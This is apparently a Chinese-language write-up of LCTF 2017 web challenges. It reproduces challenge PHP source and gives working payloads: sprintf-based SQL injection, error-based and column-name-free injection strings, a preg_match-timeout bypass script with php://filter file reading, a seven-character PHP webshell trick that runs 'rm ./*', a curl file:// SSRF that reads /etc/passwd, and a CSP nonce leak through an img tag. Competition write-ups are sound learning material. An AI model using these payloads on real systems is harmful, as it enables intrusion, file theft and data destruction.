周末打一波LCTF,又被虐的不轻,昨天上了一天的课,晚上整理了一下,迟到的write up。

Simple blog

padding oracle attack

.login.php.swp拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
<div class="login">
<h1>后台登录</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required="required" />
<input type="password" name="password" placeholder="Password" required="required" />
<button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
</div>
</body>
</html>
';
}

function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}

function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id === 'admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}

function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if($row['password'] === md5($password)){
get_identity();
header('location: ./admin.php');
}else{
die('Login failed.');
}
}else{
if(test_identity()){
header('location: ./admin.php');
}else{
show_page();
}
}
?>

和njctf的一道题目比较相似,直接拿脚本来跑。

sprintf格式化字符串造成注入

成功进入后台后admin.php.swp得到再次得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
die('You are not admin');
}

if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
?>

sprintf造成的问题https://paper.seebug.org/386/

接下来就是常规的注入了,没什么过滤,payload:

1
http://111.231.111.54/admin.php?id=-1&title=%251%24' union select 1,f14g,3 from `key`%23

萌萌哒报名系统

注册

首先访问.idea目录,得到备份文件xdcms2333.zip

看了一下,重点是register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}

$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}

$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);

preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';

重点是下面两行代码,满足条件即可。

1
2
3
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
/*blabla*/
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);

满屏的pdo,注入是没戏了,总结一下我知道的解法:

  1. 人品

    某表哥跑脚本注册了100个用户,其中一个真的满足条件了。。。我怀疑表哥一生中中彩票的机会在这给用了。

  2. 条件竞争

    比赛结束后交流发现很多师傅(包括我们)都用的这个方法。在做题过程中发现当注册的人数过多时,后台会清空数据库,来看index.php这段代码

    1
    2
    3
    4
    5
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
    $_SESSION['is_guest'] = true;
    }

    如果我们在清空数据库是仍然保持登录状态,上面这个判断就不会成立,自然就绕过检测了。当然我们也可以跑脚本注册大量用户来加速清空数据库的操作。

  3. 正解

    说了这么多,终于来到正解了。问题出在preg_match函数。

    pre_match在匹配的时候会消耗较大的资源,并且默认使用贪婪匹配。所以通过输入一个超长的字符串去给pre_match匹配,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

    直接写个脚本来跑吧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import requests
    reg_url = 'http://123.206.120.239/register.php'
    login_url = 'http://123.206.120.239/login.php'
    index_url = 'http://123.206.120.239/member.php'
    s = requests.session()
    def register():
    global s
    data = {
    'username': 'seaii1',
    'password': '123456',
    'code': 'xdsec###' + 'A'*100000
    }
    s.post(reg_url, data=data)
    def login():
    global s
    data = {
    'username': 'seaii1',
    'password': '123456',
    }
    s.post(login_url, data=data)
    if __name__ == '__main__':
    register()
    login()
    r = s.get(index_url + '?file=php://filter/read=convert.base64-encode/resource=config.php')
    print (r.text)

伪协议读文件

member.php

1
2
3
4
5
6
7
8
9
10
11
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {

}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}

payload

1
http://123.206.120.239/member.php?file=php://filter/read=convert.base64-encode/resource=config.php

解码即可得到flag。

“他们”有什么秘密呢?

手快拿了个一血,美滋滋~

访问http://182.254.246.93/entrance.php,查看源码获得提示。

mark

简单测试了一下,union,select啥的都没过滤,可以报错。但是informationtablecolumn等可以爆表爆列关键字被过滤了,而且过滤的很严格。

但是可以通过报错来获得表名、列名

表名

1
pro_id=1 and Polygon(pro_id)

之前积累的这个姿势被过滤了,在手册上寻找其他函数https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html#function_polygon,找到一个漏网之鱼。

1
pro_id=1 and LineString(pro_id)  

得到表名 product_2017ctf

列名

1
pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner,d067a0fa9dc61a6e))xxx)

得到列名pro_id,pro_name,owner,d067a0fa9dc61a6e。明显我们需要知道d067a0fa9dc61a6e的值,但是d067a0fa9dc61a6e被过滤了。

无列名注入

1
pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)xxx

得到字段值为7195ca99696b5a896.php,进入下一关。

7字符限制获取webshell

从网上找了一个参考http://www.vuln.cn/6016,大体思路就是php代码

1
<?=`*`;

会将当前目录下所有文件的文件名放在一起当做一条命令执行。

首先删除保存文件目录下的index.html,他会影响命令的执行。

1
filename=bash&content=123
1
filename=command&content=rm ./*
1
filename=z.php&content=<?=`*`;

之后只要修改command文件的内容执行命令就可以了。

ls /获得flag文件名:327a6c4304ad5938eaf0efb6cc3e53dc.php

cat /3*得到flag:LCTF{n1ver_stop_nev2r_giveup}

wanna hack him? (未做出)

nonce

看题目,标准的xss页面,在preview.php看到设置了csp

mark

目前针对csp-nonce的攻击大致有两种

  1. 通过浏览器缓存来bypass CSP script nonce
  2. mark

但是似乎都不太适合这个题目,后来发现preview.php的nonce并不是随机的,隔一段时间才会变,推测admin_view.php也会是这样。然后就僵住了。。。

来看大佬wp,可以使用<img src='http://host/?nonce=来获取nonce,src属性的单引号会和后面的var test = 'test闭合,就可以拿到nonce了。思路不够灵活,姿势不够猥琐呀。

getflag

这里有一点小坑,拿到nonce之后手动提交payload的话bot可能访问不到,需要写脚本一次提交多条payload。

拓展-UXSS

后来看大佬wp说可以用uxss,第一次接触这个漏洞,惭愧。。。

首先是一篇科普通用跨站脚本攻击(UXSS)

接着是大佬的wp,写的很详细。

===================华丽的分割线===================

这两题都是ssrf,让我对ssrf有了更深的理解,详细的会更新到另一篇文章中。

(伪)签到题 (未做出)

fuzz发现://后面必须是www.baidu.com,前面必须是字母数字和.。也就是说我们可以指定协议,知识点来了:

curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件

还有一个点是要截断url末尾自动拼接的/,使用?当做get请求的参数,或者#变成锚点都可以。

payload:

1
file://www.baidu.com/etc/flag?

也可以先读/etc/passwd,有一个lctf用户,/home/lctf/下也有flag。。。

L PLAYGROUND (未做出)

这题官方wp写的很详细了,反正当时做的时候一脸懵逼。。。

https://github.com/LCTF/LCTF2017/blob/master/src/web/l-plarground/writeup.md